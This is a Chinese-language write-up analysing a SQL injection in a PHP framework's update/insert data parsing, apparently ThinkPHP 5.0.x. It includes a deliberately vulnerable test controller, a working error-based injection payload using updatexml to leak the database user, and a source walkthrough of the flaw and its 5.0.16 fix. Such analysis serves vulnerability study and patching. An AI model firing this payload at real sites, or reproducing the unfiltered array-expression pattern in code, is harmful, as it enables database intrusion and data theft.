漏洞测试代码:
public function index() { $password=input('password/a'); $data = db('users')->where("id",'1')->update(["password"=>$password]); dump($data); }
复现:
payload:
?password[0]=inc&password[1]=updatexml(1,concat(0x7,user(),0x7e),1)&password[2]=1
分析:
1、update函数分析
1 public function update($data, $options) 2 { 3 $table = $this->parseTable($options['table'], $options); 4 $data = $this->parseData($data, $options); 5 if (empty($data)) { 6 return ''; 7 } 8 foreach ($data as $key => $val) { 9 $set[] = $key . '=' . $val; 10 } 11 12 $sql = str_replace( 13 ['%TABLE%', '%SET%', '%JOIN%', '%WHERE%', '%ORDER%', '%LIMIT%', '%LOCK%', '%COMMENT%'], 14 [ 15 $this->parseTable($options['table'], $options), 16 implode(',', $set), 17 $this->parseJoin($options['join'], $options), 18 $this->parseWhere($options['where'], $options), 19 $this->parseOrder($options['order'], $options), 20 $this->parseLimit($options['limit']), 21 $this->parseLock($options['lock']), 22 $this->parseComment($options['comment']), 23 ], $this->updateSql); 24 25 return $sql; 26 }
漏洞的问题在第4行的函数中,同时insert操作也存在同样的漏洞,这个sql注入是需要开启debug才能显示,同时在漏洞代码的编写中,是要以数组的形式传参,要不然默认为字符型,就会报错。
$data为我们传入的变量,$option中是一些初始化以及一些配置
2、parseData函数分析
1 protected function parseData($data, $options) 2 { 3 if (empty($data)) { 4 return []; 5 } 6 7 // 获取绑定信息 8 $bind = $this->query->getFieldsBind($options['table']); 9 if ('*' == $options['field']) { 10 $fields = array_keys($bind); 11 } else { 12 $fields = $options['field']; 13 } 14 15 $result = []; 16 foreach ($data as $key => $val) { 17 $item = $this->parseKey($key, $options); 18 if (is_object($val) && method_exists($val, '__toString')) { 19 // 对象数据写入 20 $val = $val->__toString(); 21 } 22 if (false === strpos($key, '.') && !in_array($key, $fields, true)) { 23 if ($options['strict']) { 24 throw new Exception('fields not exists:[' . $key . ']'); 25 } 26 } elseif (is_null($val)) { 27 $result[$item] = 'NULL'; 28 } elseif (is_array($val) && !empty($val)) { 29 switch ($val[0]) { 30 case 'exp': 31 $result[$item] = $val[1]; 32 break; 33 case 'inc': 34 $result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]); 35 break; 36 case 'dec': 37 $result[$item] = $this->parseKey($val[1]) . '-' . floatval($val[2]); 38 break; 39 } 40 } elseif (is_scalar($val)) { 41 // 过滤非标量数据 42 if (0 === strpos($val, ':') && $this->query->isBind(substr($val, 1))) { 43 $result[$item] = $val; 44 } else { 45 $key = str_replace('.', '_', $key); 46 $this->query->bind('data__' . $key, $val, isset($bind[$key]) ? $bind[$key] : PDO::PARAM_STR); 47 $result[$item] = ':data__' . $key; 48 } 49 } 50 } 51 return $result; 52 }
$val的值是我们传入的数组,在22行的if判断中进入了第29行,对$val[0]的值进行判断,把$val[1]的值直接拿出来没有进行过滤,最后对$result进行返回,这样我们就可以控制update函数中的$set变量,通过12-23行的sql语句替换,将我们的sql语句替换到sql语句模板中。
这里password[0]的值可以是inc和dec,exp会在input方法中添加一个空格,就无法进行匹配了
5.0.16更新:
增加了一个判断,就是传入的数组[0]和[1]的值需要相同。